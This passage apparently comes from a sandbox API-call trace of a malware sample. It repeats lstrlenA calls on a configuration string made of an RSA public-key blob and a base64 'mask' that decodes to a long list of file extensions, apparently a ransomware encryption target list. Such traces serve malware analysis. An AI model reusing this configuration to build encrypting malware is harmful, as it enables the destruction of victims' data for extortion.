sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA 